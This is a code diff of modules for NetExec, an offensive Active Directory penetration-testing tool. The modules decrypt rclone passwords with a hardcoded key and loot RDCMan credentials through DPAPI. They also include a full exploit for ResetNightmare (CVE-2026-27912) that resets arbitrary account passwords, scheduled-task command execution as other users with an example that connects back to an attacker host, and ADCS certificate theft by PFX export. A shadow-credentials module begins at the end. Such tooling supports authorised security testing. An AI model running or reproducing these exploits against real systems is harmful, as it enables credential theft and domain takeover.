context.log.info(f"Trying to read: {self.share + conf_path}")
conf_data = ""
try:
buf = BytesIO()
connection.conn.getFile(self.share, conf_path, buf.write)
conf_data = buf.getvalue().decode()
except Exception:
context.log.info(f"[{username}] rclone.conf not found.")
continue
if "RCLONE_ENCRYPT_V0" in conf_data:
context.log.fail(f"[{username}] Encrypted config — skipping.")
continue
context.log.success(f"[{username}] rclone.conf found!")
for line in conf_data.splitlines():
line = line.strip()
if not line:
continue
if "=" not in line:
context.log.highlight(line.strip())
continue
key, val = map(str.strip, line.split("=", 1))
if key.lower() in ("pass", "password", "password2"):
try:
plain = self.deobscure(val)
context.log.highlight(f"{key} = {plain}")
except Exception as e:
context.log.warning(f"[{username}] Failed to deobscure {key}: {e}")
else:
context.log.highlight(line.strip())
return True
def deobscure(self, obscured):
encrypted_password = self.base64_urlsafedecode(obscured)
iv = encrypted_password[:AES.block_size]
buf = encrypted_password[AES.block_size:]
SECRET_KEY = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38"
crypter = AES.new(key=SECRET_KEY, mode=AES.MODE_CTR, initial_value=iv, nonce=b"")
return crypter.decrypt(buf).decode("utf-8")
def base64_urlsafedecode(self, string):
padding = 4 - (len(string) % 4)
string += "=" * padding
return base64.urlsafe_b64decode(string)
+33 -6
View File
@@ -1,28 +1,55 @@
from dploot.triage.rdg import RDGTriage, RDGServerProfile
from dploot.lib.target import Target
from nxc.helpers.logger import highlight
from nxc.helpers.misc import CATEGORY
from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection
class NXCModule:
name = "rdcman"
description = "Remotely dump Remote Desktop Connection Manager (sysinternals) credentials"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
supported_protocols = ["smb"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
def on_admin_login(self, context, connection):
self.masterkeys = connection.dpapi_triage.collect_masterkeys_from_target(dump_users=True, dump_system=False)
username = connection.username
password = getattr(connection, "password", "")
nthash = getattr(connection, "nthash", "")
self.pvkbytes = get_domain_backup_key(connection)
target = Target.create(
domain=connection.domain,
username=username,
password=password,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
lmhash=getattr(connection, "lmhash", ""),
nthash=nthash,
do_kerberos=connection.kerberos,
aesKey=connection.aesKey,
no_pass=True,
use_kcache=getattr(connection, "use_kcache", False),
)
conn = upgrade_to_dploot_connection(connection=connection.conn, target=target)
if conn is None:
context.log.debug("Could not upgrade connection")
return
self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False)
if len(self.masterkeys) == 0:
context.log.fail("No masterkeys looted")
return
context.log.success("Looting RDCMan secrets")
context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting RDCMan secrets")
try:
triage = RDGTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys)
triage = RDGTriage(target=target, conn=conn, masterkeys=self.masterkeys)
rdcman_files, rdgfiles = triage.triage_rdcman()
for rdcman_file in rdcman_files:
if rdcman_file is None:
@@ -31,7 +58,7 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
for rdgfile in rdgfiles:
if rdgfile is None:
continue
@@ -39,6 +66,6 @@ class NXCModule:
log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}"
if isinstance(rdg_cred, RDGServerProfile):
log_text = f"{rdg_cred.server_name} - {log_text}"
connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log)
context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}")
except Exception as e:
context.log.debug(f"Could not loot RDCMan secrets: {e}")
+1 -10
View File
@@ -101,8 +101,7 @@ class NXCModule:
context.log.fail("Looks like target system version is under NT6, please add 'OLD=true' in module options.")
else:
context.log.fail(str(e))
if wmi_rdp._RdpWmi__dcom is not None:
wmi_rdp._RdpWmi__dcom.disconnect()
wmi_rdp._RdpWmi__dcom.disconnect()
class RdpSmb:
@@ -223,14 +222,6 @@ class RdpWmi:
self.__aesKey = connection.aesKey
self.__timeout = timeout
self.__dcom = None
if self.__currentprotocol == "wmi":
# The wmi protocol already holds an authenticated IWbemLevel1Login:
# reuse it instead of creating a second DCOMConnection to the same
# target (whose disconnect would clash with the protocol's own)
self.__iWbemLevel1Login = connection.iWbemLevel1Login
return
try:
self.__dcom = DCOMConnection(
self.__target,
+1 -1
View File
@@ -2,7 +2,7 @@
# Dirk-jan Mollema (@_dirkjan)
# dlive (@D1iv3)
#
# Reference:
# Refernece:
# - https://dirkjanm.io/exploiting-CVE-2019-1040-relay-vulnerabilities-for-rce-and-domain-admin/
# - https://github.com/fox-it/cve-2019-1040-scanner
# - https://github.com/Dliv3/cve-2019-1040-scanner
-136
View File
@@ -1,136 +0,0 @@
import sys
from impacket.krb5 import constants
from impacket.krb5.types import Principal
from impacket.krb5.kerberosv5 import getKerberosTGT, KerberosError
from impacket.krb5.kpasswd import changePassword, KPasswdError, KRB5_KPASSWD_TGT_SPN
from impacket.ldap.ldap import MODIFY_REPLACE, MODIFY_DELETE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module by @azoxlpf based on the ResetNightmare PoC and
https://www.semperis.com/blog/identity-crisis-novel-vulnerabilities-leading-to-kerberos-downgrade-dos-and-full-domain-takeover/
"""
name = "resetnightmare"
description = "Exploit ResetNightmare (CVE-2026-27912) to reset any account's password via Kerberos change password"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.context = None
self.connection = None
self.target = None
self.new_password = None
self.upn_user = None
self.upn_password = None
def options(self, context, module_options):
"""
Reset any account's password by abusing the Kerberos Change Password protocol (CVE-2026-27912, ResetNightmare).
Requires GenericWrite over a controlled account's userPrincipalName, and an unpatched DC.
TARGET sAMAccountName of the account whose password gets reset (append $ for a computer)
NEW_PASSWORD New password to set on TARGET
UPN_USER sAMAccountName of a controlled account you can write a userPrincipalName to (not the login account)
UPN_PASSWORD Cleartext password of UPN_USER
Examples:
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=Administrator NEW_PASSWORD='NewPass!' UPN_USER=controlled UPN_PASSWORD='Passw0rd!'
netexec ldap <ip> -u <username> -p <password> -M resetnightmare -o TARGET=DC01$ NEW_PASSWORD='NewPass!' UPN_USER=controlled$ UPN_PASSWORD='Passw0rd!'
"""
self.target = module_options.get("TARGET")
self.new_password = module_options.get("NEW_PASSWORD")
self.upn_user = module_options.get("UPN_USER")
self.upn_password = module_options.get("UPN_PASSWORD")
if not all([self.target, self.new_password, self.upn_user, self.upn_password]):
context.log.fail("TARGET, NEW_PASSWORD, UPN_USER and UPN_PASSWORD are all required")
sys.exit(1)
def resolve_account(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName"])
entries = parse_result_attributes(response)
return entries[0]["distinguishedName"] if entries else None
def get_account_upn(self, sam):
response = self.connection.search(searchFilter=f"(sAMAccountName={sam})", attributes=["distinguishedName", "userPrincipalName"])
entries = parse_result_attributes(response)
if not entries:
return None, None
return entries[0]["distinguishedName"], entries[0].get("userPrincipalName")
def set_upn(self, dn, upn):
try:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, upn)]})
return True
except LDAPSessionError as e:
self.context.log.fail(f"Failed to set UPN on {self.upn_user}: {e}")
return False
def restore_upn(self, dn, old_upn):
try:
if old_upn:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_REPLACE, old_upn)]})
self.context.log.display(f"Restored original UPN '{old_upn}' on {self.upn_user}")
else:
self.connection.ldap_connection.modify(dn, {"userPrincipalName": [(MODIFY_DELETE, [])]})
self.context.log.display(f"Cleared fake UPN from {self.upn_user}")
except LDAPSessionError as e:
self.context.log.fail(f"Cleanup failed, UPN may still be set on {self.upn_user}: {e}")
def request_changepw_tgt(self):
client = Principal(self.target, type=constants.PrincipalNameType.NT_ENTERPRISE.value)
kdc = self.connection.kdcHost or self.connection.host
try:
tgt, cipher, _, session_key = getKerberosTGT(client, self.upn_password, self.connection.domain, "", "", "", kdcHost=kdc, serverName=KRB5_KPASSWD_TGT_SPN)
except (KerberosError, OSError) as e:
self.context.log.fail(f"Failed to request change-password TGT: {e}")
return None
self.context.log.success(f"Obtained NT-ENTERPRISE TGT for '{self.target}' targeting {KRB5_KPASSWD_TGT_SPN}")
return {"KDC_REP": tgt, "cipher": cipher, "sessionKey": session_key}
def reset_password(self, tgt):
kdc = self.connection.kdcHost or self.connection.host
try:
changePassword(self.target, self.connection.domain, self.new_password, TGT=tgt, kdcHost=kdc, kpasswdHost=kdc)
except (KPasswdError, KerberosError, OSError) as e:
self.context.log.fail(f"Password change failed: {' '.join(str(e).split())}")
return False
return True
def on_login(self, context, connection):
self.context = context
self.connection = connection
target_dn = self.resolve_account(self.target)
if not target_dn:
context.log.fail(f"Target '{self.target}' not found")
return
upn_dn, old_upn = self.get_account_upn(self.upn_user)
if not upn_dn:
context.log.fail(f"Controlled account '{self.upn_user}' not found")
return
context.log.display(f"Target: {self.target} ({target_dn})")
context.log.display(f"Controlled account: {self.upn_user} ({upn_dn}), current UPN: {old_upn or '<none>'}")
if not self.set_upn(upn_dn, self.target):
return
context.log.success(f"Set fake UPN '{self.target}' on {self.upn_user}")
try:
tgt = self.request_changepw_tgt()
finally:
self.restore_upn(upn_dn, old_upn)
if tgt is None:
return
if not self.reset_password(tgt):
return
context.log.highlight(f"Successfully reset password of '{self.target}' to '{self.new_password}'")
context.db.add_credential("plaintext", connection.domain, self.target, self.new_password)
+14 -5
View File
@@ -1,9 +1,9 @@
import contextlib
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.smbconnection import SMBConnection
@@ -24,9 +24,18 @@ class NXCModule:
connection.trigger_winreg()
dce = None
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
try:
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
# Open HKEY_LOCAL_MACHINE
ans = rrp.hOpenLocalMachine(dce)
@@ -38,7 +47,7 @@ class NXCModule:
except DCERPCException:
self.context.log.fail("No site Database found")
except DCERPCException as e:
if "rpc_s_access_denied" in str(e) or "ERROR_FILE_NOT_FOUND" in str(e):
if "rpc_s_access_denied" in str(e):
self.context.log.info(f"Probably not a primary site server or a distribution point: {e}")
else:
self.context.log.fail(f"Unexpected error: {e}")
+34 -33
View File
@@ -1,6 +1,6 @@
from impacket.ldap import ldap, ldaptypes
from impacket.ldap import ldap, ldaptypes, ldapasn1 as ldapasn1_impacket
from impacket.ldap.ldap import LDAPSearchError
from impacket.ldap.ldapasn1 import SDFlagsControl
from ldap3.protocol.microsoft import security_descriptor_control
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
@@ -56,47 +56,47 @@ class NXCModule:
try:
# Search for SCCM root object
search_filter = f"(distinguishedName=CN=System Management,CN=System,{self.base_dn})"
controls = [SDFlagsControl(criticality=False, flags=0x04)]
controls = security_descriptor_control(sdflags=0x04)
context.log.display(f"Looking for the SCCM container with filter: '{search_filter}'")
result = connection.ldap_connection.search(
searchFilter=search_filter,
attributes=["nTSecurityDescriptor", "distinguishedName"],
attributes=["nTSecurityDescriptor"],
sizeLimit=0,
searchControls=controls,
searchBase=self.base_dn,
)
result_parsed = parse_result_attributes(result)
# There should be only one result
for item in result_parsed:
self.context.log.success(f"Found SCCM object: {item['distinguishedName']}")
self.get_site_servers(item)
self.get_sites()
self.get_management_points()
for item in result:
if isinstance(item, ldapasn1_impacket.SearchResultEntry):
self.context.log.success(f"Found SCCM object: {item[0]}")
self.get_site_servers(item)
self.get_sites()
self.get_management_points()
# Print results
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
for site in self.sccm_site_servers:
ip = self.connection.resolver(site)
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
for site in self.sccm_sites:
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
# Print results
self.context.log.success(f"Found {len(self.sccm_site_servers)} Site Servers:")
for site in self.sccm_site_servers:
ip = self.connection.resolver(site)
self.context.log.highlight(f"{site} - {ip['host'] if ip else 'unknown'}")
self.context.log.success(f"Found {len(self.sccm_sites)} SCCM Sites:")
for site in self.sccm_sites:
self.context.log.highlight(f"{self.sccm_sites[site]['cn']}")
self.context.log.highlight(f" Site Code: {site.rjust(14)}")
self.context.log.highlight(f" Assignment Site Code: {self.sccm_sites[site]['AssignmentSiteCode'].rjust(3)}")
# If there aren't Management Points, it's a Central Administration Site
if self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CAS: {' ':<17}{False}")
self.context.log.highlight(" Management Points:")
for mp in self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
else:
self.context.log.highlight(f" CAS: {' ':<17}{True}")
self.context.log.highlight("")
# If there aren't Management Points, it's a Central Administration Site
if self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CAS: {' ':<17}{False}")
self.context.log.highlight(" Management Points:")
for mp in self.sccm_sites[site]["ManagementPoints"]:
self.context.log.highlight(f" CN:{' ':<12}{mp['cn']}")
self.context.log.highlight(f" DNS Hostname:{' ':<2}{mp['dNSHostName']}")
self.context.log.highlight(f" IP Address:{' ':<4}{mp['IPAddress']}")
self.context.log.highlight(f" Default MP:{' ':<4}{mp['mSSMSDefaultMP']}")
else:
self.context.log.highlight(f" CAS: {' ':<17}{True}")
self.context.log.highlight("")
except LDAPSearchError as e:
context.log.fail(f"Got unexpected exception: {e}")
@@ -219,7 +219,8 @@ class NXCModule:
def get_site_servers(self, item):
"""Extracts the site servers from the root SCCM object."""
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=item["nTSecurityDescriptor"])
raw_sec_descriptor = str(item[1][0][1][0]).encode("latin-1")
principal_security_descriptor = ldaptypes.SR_SECURITY_DESCRIPTOR(data=raw_sec_descriptor)
self.parse_dacl(principal_security_descriptor["Dacl"])
self.sccm_site_servers = set(self.sccm_site_servers) # Make list unique
+57 -170
View File
@@ -1,12 +1,6 @@
from time import sleep
from io import BytesIO
from textwrap import dedent
from os import path, makedirs
import os
from traceback import format_exc
from nxc.paths import NXC_PATH
from nxc.helpers.misc import CATEGORY
from nxc.helpers.misc import gen_random_string
from nxc.protocols.smb.atexec import TSCH_EXEC
@@ -17,8 +11,6 @@ class NXCModule:
Modified by @Defte_ so that output on multiples lines are printed correctly (28/04/2025)
Modified by @Defte_ so that we can upload a custom binary to execute using the BINARY option (28/04/2025)
Modified by @SGMG11 to execute the task without output
Modified by @Defte_ to add certificate request on behalf of someone options
Modified by @Azoxlpf to improve ADCS certificate handling and PFX retrieval (17/10/2025)
"""
name = "schtask_as"
description = "Remotely execute a scheduled task as a logged on user"
@@ -34,40 +26,40 @@ class NXCModule:
FILE OPTIONAL: Set a name for the command output file
LOCATION OPTIONAL: Set a location for the command output file (e.g. 'C:\\Windows\\Temp\\')
SILENTCOMMAND OPTIONAL: Do not retrieve output
CA OPTIONAL: Set the Certificate Authority name to ask the certificate from (i.e: SERVER\\CA_NAME)
TEMPLATE OPTIONAL: Set the name of the template to request a certificate from
Example:
-------
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=whoami
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='bin.exe --option' BINARY=bin.exe
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD='dir \\<attacker-ip>\pwn' TASK='Legit Task' SILENTCOMMAND='True'
nxc smb <ip> -u <user> -p <password> -M schtask_as -o USER=Administrator CMD=certreq CA='ADCS\whiteflag-ADCS-CA' TEMPLATE=User
"""
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = self.ca_name = self.template_name = None
self.command_to_run = self.binary_to_upload = self.run_task_as = self.task_name = self.output_filename = self.output_file_location = self.time = None
self.share = "C$"
self.output_file_location = "\\Windows\\Temp"
self.tmp_dir = "C:\\Windows\\Temp\\"
self.tmp_path = self.tmp_dir.split(":")[1]
self.show_output = True
# Basic schtask_as parameters
self.command_to_run = module_options.get("CMD")
self.binary_to_upload = module_options.get("BINARY")
self.run_task_as = module_options.get("USER")
if "CMD" in module_options:
self.command_to_run = module_options["CMD"]
# Task customization options
self.task_name = module_options.get("TASK")
self.output_filename = module_options.get("FILE", gen_random_string(8))
self.output_file_location = module_options.get("LOCATION", self.output_file_location).rstrip("\\")
self.show_output = module_options.get("SILENTCOMMAND", "").lower() not in {"true", "yes", "1"}
if "BINARY" in module_options:
self.binary_to_upload = module_options["BINARY"]
# ADCS certificate request options
self.ca_name = module_options.get("CA")
if self.ca_name:
if "\\" not in self.ca_name:
context.log.fail("CA name must be in the following format: SERVER_NAME\\CertificateAuthority_Name")
exit(1)
elif "\\\\" in self.ca_name:
self.ca_name = self.ca_name.replace("\\\\", "\\")
self.template_name = module_options.get("TEMPLATE")
if "USER" in module_options:
self.run_task_as = module_options["USER"]
if "TASK" in module_options:
self.task_name = module_options["TASK"]
if "FILE" in module_options:
self.output_filename = module_options["FILE"]
if "LOCATION" in module_options:
# Ensure trailing backslashes
self.output_file_location = module_options["LOCATION"].rstrip("\\") + "\\"
if "SILENTCOMMAND" in module_options and module_options["SILENTCOMMAND"] in ["True", "yes", "1"]:
self.show_output = False
def on_admin_login(self, context, connection):
self.logger = context.log
@@ -77,118 +69,52 @@ class NXCModule:
return
if self.run_task_as is None:
self.logger.fail("You need to specify a USER to run the task as")
self.logger.fail("You need to specify a USER to run the command as")
return
if self.command_to_run.lower() == "certreq":
if self.ca_name is None:
self.logger.fail("CertReq requires the CA name in the following format: SERVER_NAME\\CertificateAuthority_Name")
return
if self.template_name is None:
self.logger.fail("CertReq requires the template to request a certificate from")
return
tmp_share = self.share.replace("$", ":")
full_path_prefixed_file = f"{tmp_share}\\{self.output_file_location}\\{self.output_filename}"
batch_file = BytesIO(dedent(rf"""
@echo off
setlocal enabledelayedexpansion
set "BASE={full_path_prefixed_file}"
certreq -new "%BASE%.inf" "%BASE%.req" > nul
certreq -submit -config "{self.ca_name}" "%BASE%.req" "%BASE%.cer" > nul
certutil -user -addstore my "%BASE%.cer" > nul
set "HASH="
for /f "tokens=2 delims=:" %%A in ('
certutil -user -store my ^| findstr /r /c:"Hach\. cert\." /c:"Cert Hash"
') do (
set "tmp=%%A"
set "tmp=!tmp: =!"
set "HASH=!tmp!"
)
if "!HASH!"=="" (
exit /b 1
)
certutil -user -repairstore my !HASH! > nul 2>&1
certutil -user -exportPFX -p "" -f my !HASH! "%BASE%.pfx" NoChain,NoRoot > nul 2>&1
certutil -user -delstore my !HASH! > nul 2>&1
if exist "%BASE%.pfx" (
exit /b 0
) else (
exit /b 2
)
""").encode())
connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.output_filename}.bat", batch_file.read)
self.logger.success("Upload batch file successfully")
inf_file = BytesIO(dedent(f"""
[Version]
Signature="$Windows NT$"
[NewRequest]
Subject = "CN={self.run_task_as}"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE
SMIME = FALSE
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
[EnhancedKeyUsageExtension]
OID=1.3.6.1.5.5.7.3.2
[RequestAttributes]
CertificateTemplate = {self.template_name}
""").encode())
connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.output_filename}.inf", inf_file.read)
self.logger.success("Upload INF file successfully")
self.command_to_run = f"{full_path_prefixed_file}.bat"
if self.show_output is False:
self.logger.display("Command will be executed silently without output")
if self.binary_to_upload:
if not path.isfile(self.binary_to_upload):
if not os.path.isfile(self.binary_to_upload):
self.logger.fail(f"Cannot find {self.binary_to_upload}")
return
else:
self.logger.display(f"Uploading {self.binary_to_upload}")
binary_file_location = self.tmp_path if self.output_file_location is None else self.output_file_location
with open(self.binary_to_upload, "rb") as binary_to_upload:
try:
self.binary_to_upload_name = path.basename(self.binary_to_upload)
connection.conn.putFile(self.share, f"{self.output_file_location}\\{self.binary_to_upload_name}", binary_to_upload.read)
self.command_to_run = f"{self.output_file_location}\\{self.command_to_run}"
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {self.output_file_location}\\{self.binary_to_upload_name}")
self.binary_to_upload_name = os.path.basename(self.binary_to_upload)
connection.conn.putFile(self.share, f"{binary_file_location}{self.binary_to_upload_name}", binary_to_upload.read)
self.logger.success(f"Binary {self.binary_to_upload_name} successfully uploaded in {binary_file_location}{self.binary_to_upload_name}")
except Exception as e:
self.logger.fail(f"Error writing file to {self.output_file_location}: {e}")
self.logger.fail(f"Error writing file to share {binary_file_location}: {e}")
return
self.logger.display("Connecting to the remote Service control endpoint")
try:
exec_method = TSCH_EXEC(
connection=connection,
logger=self.logger,
tries=connection.args.get_output_tries,
share=connection.args.share,
run_task_as=self.run_task_as,
run_cmd=self.command_to_run,
output_filename=self.output_filename,
task_name=self.task_name,
output_file_location=self.output_file_location,
connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
connection.smb_share_name,
connection.username,
connection.password,
connection.domain,
connection.kerberos,
connection.aesKey,
connection.host,
connection.kdcHost,
connection.hash,
self.logger,
connection.args.get_output_tries,
connection.args.share,
self.run_task_as,
self.command_to_run,
self.output_filename,
self.task_name,
self.output_file_location,
)
if self.show_output is False:
self.logger.display(f"Silently executing '{self.command_to_run}' as '{self.run_task_as}'")
else:
self.logger.display(f"Executing '{self.command_to_run}' as '{self.run_task_as}'")
self.logger.display(f"Executing '{self.command_to_run}' as '{self.run_task_as}'")
output = exec_method.execute(self.command_to_run, self.show_output)
try:
@@ -201,52 +127,13 @@ class NXCModule:
for line in output.splitlines():
self.logger.highlight(line.rstrip())
except Exception as e:
self.logger.fail(f"Error executing command via atexec: {e}")
except Exception:
self.logger.debug("Error executing command via atexec, traceback:")
self.logger.debug(format_exc())
finally:
if self.binary_to_upload:
try:
connection.conn.deleteFile(self.share, f"{self.output_file_location}\\{self.binary_to_upload_name}")
self.logger.success(f"Binary {self.output_file_location}\\{self.binary_to_upload_name} successfully deleted")
connection.conn.deleteFile(self.share, f"{binary_file_location}{self.binary_to_upload_name}")
context.log.success(f"Binary {binary_file_location}{self.binary_to_upload_name} successfully deleted")
except Exception as e:
self.logger.fail(f"Error deleting {self.output_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
if self.ca_name and self.template_name:
dump_path = path.join(NXC_PATH, "modules/schtask_as")
if not path.isdir(dump_path):
makedirs(dump_path)
pfx_local_path = path.join(dump_path, f"{self.run_task_as}.pfx")
pfx_remote_path = f"{self.output_file_location}\\{self.output_filename}.pfx"
# Polling loop to wait for the PFX to be ready (avoid fixed sleep)
pfx_fetched = False
last_exception = None
max_wait_seconds = 15
self.logger.debug(f"Waiting up to {max_wait_seconds}s for remote PFX: {pfx_remote_path}")
for second in range(max_wait_seconds):
try:
# try to download; open local file only on success
with open(pfx_local_path, "wb+") as dump_file:
connection.conn.getFile(self.share, pfx_remote_path, dump_file.write)
pfx_fetched = True
self.logger.success(f"PFX file stored in {dump_path}/{self.run_task_as}.pfx")
break
except Exception as e:
last_exception = e
# not ready yet (or other transient error) — sleep and retry
if second % 5 == 0:
# log every 5s to avoid spamming
self.logger.debug(f"PFX not available yet (attempt {second + 1}/{max_wait_seconds}): {e}")
sleep(1)
if not pfx_fetched:
self.logger.fail(f"Timed out after {max_wait_seconds}s waiting for {pfx_remote_path}. Last error: {last_exception}")
for ext in [".bat", ".inf", ".cer", ".req", ".rsp", ".pfx", ""]:
try:
connection.conn.deleteFile(self.share, f"{self.output_file_location}\\{self.output_filename}{ext}")
self.logger.debug(f"Successfully deleted {self.output_file_location}\\{self.output_filename}{ext}")
except Exception as e:
self.logger.debug(f"Couldn't delete {self.output_file_location}\\{self.output_filename}{ext} : {e}")
context.log.fail(f"Error deleting {binary_file_location}{self.binary_to_upload_name} on {self.share}: {e}")
+5 -1
View File
@@ -59,7 +59,11 @@ class NXCModule:
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]:
if "WRITE" in share["access"] and share["name"] not in [
"C$",
"ADMIN$",
"NETLOGON",
]:
context.log.success(f"Found writable share: {share['name']}")
if not self.cleanup:
with open(self.scf_path, "rb") as scf:
+21 -15
View File
@@ -1,10 +1,9 @@
from impacket.dcerpc.v5 import samr
from impacket.dcerpc.v5 import samr, transport
from impacket.nt_errors import STATUS_MORE_ENTRIES
from impacket.dcerpc.v5.rpcrt import DCERPCException
from json import loads
from traceback import format_exc as traceback_format_exc
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -47,14 +46,24 @@ class NXCModule:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.getSAMRResetInfo(context, connection)
self.getSAMRResetInfo(context)
def getSAMRResetInfo(self, context):
string_binding = f"ncacn_np:{self.__targetIp}[\\pipe\\samr]"
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.set_dport(445)
rpc_transport.setRemoteHost(self.__targetIp)
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
def getSAMRResetInfo(self, context, connection):
dce = None
server_handle = None
domain_handle = None
try:
dce = NXCRPCConnection(connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
dce = rpc_transport.get_dce_rpc()
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
# obtain server handle for samr connection
resp = samr.hSamrConnect(dce)
@@ -119,11 +128,8 @@ class NXCModule:
context.log.debug(traceback_format_exc())
finally:
try:
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
except Exception as e:
context.log.debug(f"Error during SAMR cleanup: {e}")
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if server_handle is not None:
samr.hSamrCloseHandle(dce, server_handle)
dce.disconnect()
-249
View File
@@ -1,249 +0,0 @@
import json
from pathlib import Path
from cryptography.hazmat.primitives.serialization import NoEncryption
from cryptography.hazmat.primitives.serialization.pkcs12 import serialize_key_and_certificates
from dsinternals.common.cryptography.X509Certificate2 import X509Certificate2
from dsinternals.common.data.DNWithBinary import DNWithBinary
from dsinternals.common.data.hello.KeyCredential import KeyCredential
from dsinternals.system.DateTime import DateTime
from dsinternals.system.Guid import Guid
from impacket.ldap.ldap import MODIFY_ADD, MODIFY_DELETE, MODIFY_REPLACE, LDAPSessionError
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Made by @NeffIsBack
Heavily inspired by the pyWhisker project by Shutdown:
https://github.com/ShutdownRepo/pywhisker
"""
name = "shadow-creds"
description = "List, add, inspect, remove, clear, backup, or revert Shadow Credentials on a user or computer"
supported_protocols = ["ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
TARGET sAMAccountName of the target user or computer (for example, TARGET=user or TARGET=DESKTOP-123456$)
ACTION Action to perform: list, add, info, remove, clear, backup, or revert (default: list); clear removes all KeyCredentials
DEVICE_ID KeyCredential device ID; required for info and remove
JSONFILE JSON backup path; required for revert and optional for backup
Examples:
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=list
netexec ldap <dc> -u <user> -p <password> -M shadow-creds -o TARGET=DESKTOP-123456$ ACTION=add
